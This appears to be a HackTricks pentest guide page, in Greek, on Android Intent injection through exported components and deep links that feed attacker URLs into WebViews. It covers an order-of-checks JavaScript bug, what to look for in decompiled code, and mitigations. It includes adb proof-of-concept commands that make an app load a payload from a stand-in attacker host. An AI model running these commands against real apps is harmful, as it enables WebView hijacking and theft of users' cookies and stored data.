Intent Injection

Reading time: 4 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Η ένεση Intent εκμεταλλεύεται στοιχεία που δέχονται Intents ή δεδομένα που ελέγχονται από τον επιτιθέμενο και στη συνέχεια μετατρέπονται σε Intents. Δύο πολύ κοινά μοτίβα κατά τη διάρκεια των pentests εφαρμογών Android είναι:

  • Η αποστολή κατασκευασμένων extras σε εξαγόμενες Activities/Services/BroadcastReceivers που στη συνέχεια προωθούνται σε προνομιούχες, μη εξαγόμενες συνιστώσες.
  • Η ενεργοποίηση εξαγόμενων VIEW/BROWSABLE deep links που προωθούν URLs ελεγχόμενα από τον επιτιθέμενο σε εσωτερικά WebViews ή άλλες ευαίσθητες πηγές.

Αν μια εφαρμογή εκθέτει ένα deep link με προσαρμοσμένο σχήμα όπως:

text
myscheme://com.example.app/web?url=<attacker_url>

και η Activity που λαμβάνει προωθεί την παράμετρο ερωτήματος url σε ένα WebView, μπορείτε να αναγκάσετε την εφαρμογή να αποδώσει αυθαίρετο απομακρυσμένο περιεχόμενο στο δικό της πλαίσιο WebView.

PoC μέσω adb:

bash
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact

  • HTML/JS εκτελείται μέσα στο προφίλ WebView της εφαρμογής.
  • Εάν το JavaScript είναι ενεργοποιημένο (κατά προεπιλογή ή λόγω λανθασμένων ελέγχων), μπορείτε να απαριθμήσετε/χρησιμοποιήσετε οποιαδήποτε εκτεθειμένα @JavascriptInterface αντικείμενα, να κλέψετε τα cookies/local storage του WebView και να κάνετε pivot.

See also:

Webview Attacks

Bug σειράς ελέγχων που ενεργοποιεί το JavaScript

Ένα επαναλαμβανόμενο bug είναι η ενεργοποίηση του JavaScript (ή άλλων επιτρεπτικών ρυθμίσεων WebView) πριν ολοκληρωθεί η τελική λίστα επιτρεπόμενων URL/επαλήθευση. Εάν οι πρώιμοι helpers αποδεχτούν το deep link σας και το WebView είναι ρυθμισμένο πρώτα, η τελική φόρτωσή σας συμβαίνει με το JavaScript ήδη ενεργοποιημένο, ακόμη και αν οι αργότεροι έλεγχοι είναι ελαττωματικοί ή πολύ αργά.

Τι να αναζητήσετε στον αποσυμπιεσμένο κώδικα:

  • Πολλοί helpers που αναλύουν/διαχωρίζουν/αναδομούν το URL διαφορετικά (ασυνεπής κανονικοποίηση).
  • Κλήσεις προς getSettings().setJavaScriptEnabled(true) πριν από τον τελευταίο έλεγχο λίστας επιτρεπόμενων host/path.
  • Μια ροή εργασίας όπως: parse → μερική επαλήθευση → ρύθμιση WebView → τελική επαλήθευση → loadUrl.

Mitigations

  • Κανονικοποιήστε μία φορά και επαληθεύστε αυστηρά; αποτύχετε κλειστά.
  • Ενεργοποιήστε το JavaScript μόνο μετά την επιτυχία όλων των ελέγχων και ακριβώς πριν από τη φόρτωση αξιόπιστου περιεχομένου.
  • Αποφύγετε την έκθεση γεφυρών σε μη αξιόπιστες προελεύσεις.

Άλλες κλασικές πρωτογενείς επιθέσεις Intent injection

  • startActivity/sendBroadcast χρησιμοποιώντας extras Intent που παρέχονται από τον επιτιθέμενο και αναλύονται ξανά (Intent.parseUri(...)) και εκτελούνται.
  • Εξαγόμενα proxy components που προωθούν Intents σε μη εξαγόμενα ευαίσθητα components χωρίς ελέγχους άδειας.

References

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks